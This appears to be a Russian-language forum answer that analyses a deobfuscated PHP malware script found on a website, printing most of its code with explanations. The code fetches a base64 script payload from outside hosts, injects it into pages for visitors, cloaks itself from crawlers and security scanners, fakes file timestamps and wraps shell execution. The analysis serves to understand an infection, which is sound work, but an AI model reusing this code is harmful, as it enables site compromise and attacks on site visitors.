Хорошо, сначала анализ всех определенных функций и, наконец, анализ того, что на самом деле делает скрипт. Скрипт определяет следующие функции:
Загрузка любого содержимого URL, имеет 2 реализации (одна для curl, вторая для сокетов):
function cc($url) {
$user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
@curl_setopt($ch, CURLE_GOT_NOTHING, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false) {
return $content;
}
} else if (function_exists('fsockopen')) {
// Alternative implementation
} else {
echo "ERROR";
exit;
}
}
Какая-то проверка RemoteAddr / агента пользователя (когда скрывать):
function detB($userAgent, $remoteAddr) {
// Those are obviously regexps which will match quite wide range of ip addresses
$ipList = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
"72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
"209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
"195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
"218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+", "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244",
"199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191", "122\.164\.27\.42", "149\.5\.168\.2", "150\.70\.66\.[0-9]+", "194\.250\.116\.39",
"208\.80\.194\.[0-9]+", "62\.190\.39\.205", "67\.198\.80\.236", "85\.85\.187\.243", "95\.134\.141\.250", "97\.107\.135\.[0-9]+", "97\.79\.239\.[0-9]+",
"184\.168\.191\.[0-9]+", "95\.108\.157\.[0-9]+", "209\.235\.253\.17");
// Those are magic words to be matched
$wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl",
"spider", "robot", "httpclient", "curl", "php", "indy library",
"wordpress", "charlotte", "wwwster", "python", "urllib", "perl",
"libwww", "lynx", "twiceler", "rambler", "yandex", "trend",
"virus", "malware", "wget");
$userAgent = preg_replace("|User\.Agent\:[\s ]?|i", "", $userAgent);
$replacedHeader = true;
foreach ($ipList as $ip)
if (eregi("$ip", $remoteAddr)) {
$replacedHeader = false;
break;
}
if ($replacedHeader)
foreach ($wordsList as $word)
if (eregi($word, $userAgent) !== false) {
$replacedHeader = false;
break;
}
if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) {
$replacedHeader = false;
}
if ($replacedHeader and strlen($userAgent) <= 11) {
$replacedHeader = false;
}
return $replacedHeader;
}
Рекурсивно удалить файл / каталог и заменить его собственным новым файлом (так что mtime
будет соответствовать)
function rm_rf_file($filename) {
$fileMTime = filemtime($filename);
if ($directory = opendir($filename)) {
while (false !== ($directoryItem = readdir($directory))) {
if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) {
chmod($directoryItem, 438); // 438 = 0666
unlink($directoryItem);
}
}
closedir($directory);
}
touch($filename, $fileMTime, $fileMTime);
}
Получить временный каталог system / php (несколькими способами):
function sys_get_temp_dir() {
if ($tmpDir = getenv("TMP"))
return $tmpDir;
if ($tmpDir = getenv("TEMP"))
return $tmpDir;
if ($tmpDir = getenv("TMPDIR"))
return $tmpDir;
// Now it's tmp file, not tmp dir
$tmpDir = tempnam(__FILE__, "");
if (file_exists($tmpDir)) {
unlink($tmpDir);
return dirname($tmpDir);
}
return false;
}
Выполнить команду оболочки (реализация для всех возможных выполнений, которые поддерживает php):
function ex($shellCommand) {
$result = "";
if (!empty($shellCommand)) {
if (function_exists('exec')) {
@exec($shellCommand, $result);
$result = join("\n", $result);
} elseif (function_exists('shell_exec')) {
$result = @shell_exec($shellCommand);
} elseif (function_exists('system')) {
@ob_start();
@system($shellCommand);
$result = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($shellCommand);
$result = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) {
$result = "";
while (!@feof($processHandler)) {
$result .= @fread($processHandler, 1024);
}
@pclose($processHandler);
} elseif (@function_exists('proc_open') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) {
$result = "";
if (@function_exists('fread') && @function_exists('feof')) {
while (!@feof($shellOutput[1])) {
$result .= @fread($shellOutput[1], 1024);
}
} else if (@function_exists('fgets') && @function_exists('feof')) {
while (!@feof($shellOutput[1])) {
$result .= @fgets($shellOutput[1], 1024);
}
}
@proc_close($processHandler);
}
}
return htmlspecialchars($result);
}
И основная функция полезной нагрузки:
// This is just initialization for script variables
$cookieKey = "lonly";
$remoteAddr = $_SERVER["REMOTE_ADDR"];
$userAgent = $_SERVER["HTTP_USER_AGENT"];
$scriptFileName = $_SERVER["SCRIPT_FILENAME"];
$userAgentToLower = strtolower($userAgent);
// Requires to have all variables filled
if ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "")
return null;
// Initialization via cookies
if (!isset($_COOKIE[$cookieKey])) {
$tempDir = @sys_get_temp_dir();
// If there's no tmp dir create directory in current directory
if (!$tempDir) {
$tempDir = dirname($scriptFileName);
$tempDirectory = $tempDir . "/.tmp";
// Create directory in temporary directory and hide directory mtime
} else {
$tempDirectory = $tempDir . "/.tmp";
if (!@file_exists($tempDirectory)) {
$directoryMTime = @filemtime($tempDir);
@mkdir($tempDirectory);
$tempFileFP = @fopen("$tempDirectory/r", "w");
@fwrite($tempFileFP, "");
@fclose($tempFileFP);
@chmod($tempDirectory, 511); // 0777
@touch("$tempDirectory/r", $directoryMTime, $directoryMTime);
@touch($tempDir, $directoryMTime, $directoryMTime);
@touch($tempDirectory, $directoryMTime, $directoryMTime);
if (!@file_exists("$tempDirectory/r")) {
$tempDir = dirname($scriptFileName);
$tempDirectory = $tempDir . "/.cache";
}
}
}
// Make sure that directory exists
if (!@file_exists($tempDirectory)) {
$directoryMTime = @filemtime($tempDir);
@mkdir($tempDirectory);
@chmod($tempDirectory, 511); // 0777
@touch($tempDir, $directoryMTime, $directoryMTime);
@touch($tempDirectory, $directoryMTime, $directoryMTime);
}
// Initializes variables
$time = @date("Hi");
$date = @date("ymd");
$ipStorageFile = "$tempDirectory/$date";
$payloadFile = "$tempDirectory/tmp_$date";
$date2 = $date - 1;
// Remove our own mass if there's file one day old,
// or when we launch script at certain times (0000, 1200 and 1800)
if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" &&
$time <= "0001") || ($time >= "1200" &&
$time <= "1201") || ($time >= "1800" &&
$time <= "1801")) {
@rm_rf_file($tempDirectory);
@ex("rm -rf $tempDirectory/*");
}
// Create one temporary file
if (!@file_exists($ipStorageFile)) {
$directoryMTime = @filemtime($tempDirectory);
$tempFileFP = @fopen($ipStorageFile, "w");
@fclose($tempFileFP);
@chmod($ipStorageFile, 511); // 0777
@touch($tempDirectory, $directoryMTime, $directoryMTime);
}
// If file2 doesn't exists or is empty try to load content from website
// Websites is one of those:
// ohix.net/f/
// effbot.net/f/
if (@is_writable($tempDirectory) && (!@file_exists($payloadFile) || @filesize($payloadFile) < 5)) {
$urlParts = array("ohix.", "effbot.", "/f/", "net");
$url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2];
$content = @cc($url);
if ($content != "ERROR" && base64_decode($content) !== false) {
$directoryMTime = @filemtime($tempDirectory);
$tempFileFP = @fopen($payloadFile, "w");
@fwrite($tempFileFP, "$content");
@fclose($tempFileFP);
@chmod($payloadFile, 511);
@touch($tempDirectory, $directoryMTime, $directoryMTime);
@touch($payloadFile, $directoryMTime, $directoryMTime);
}
else
return null;
}
// Load contents
$content = @base64_decode(@file_get_contents($payloadFile));
$ipList = @file($ipStorageFile);
$knowenIp = false;
// Check whether this IP was already used
foreach ($ipList as $ip) {
if (@trim($ip) == $remoteAddr) {
$knowenIp = true;
break;
}
}
$clientValidation = @detB($userAgent, $remoteAddr);
if ($knowenIp == false && $clientValidation == true) {
$tempFileFP = @fopen($ipStorageFile, "a");
@fwrite($tempFileFP, "$remoteAddr\n");
@fclose($tempFileFP);
echo "\n" . str_repeat(" ", mt_rand(300, 1000))
. "<script type='text/javascript'>$content</script>\n";
}
}
Так что, если я правильно читаю весь этот код, скрипт выполняет следующие действия:
- Попробуйте инициализировать несколько функций (каждая объясняется отдельно)
- Создать временный каталог без изменения
mtime
родительской папки
- Загрузить «полезную нагрузку» в
$payloadFile
(возможно, рекламный контент) с одного из этих сайтов:
ohix.net/f/
effbot.net/f/
- Отображать контент только один раз в день для каждого пользователя / ip (
$ipStorageFile
)
- Скрипт достаточно умен (функция
detB
), чтобы не отображать его содержимое для определенных IP-адресов (возможно, некоторых ботов, проверок безопасности и т. Д.) И некоторых пользовательских агентов (таких как google-боты или клиенты, которые по умолчанию не могут запускать javascript).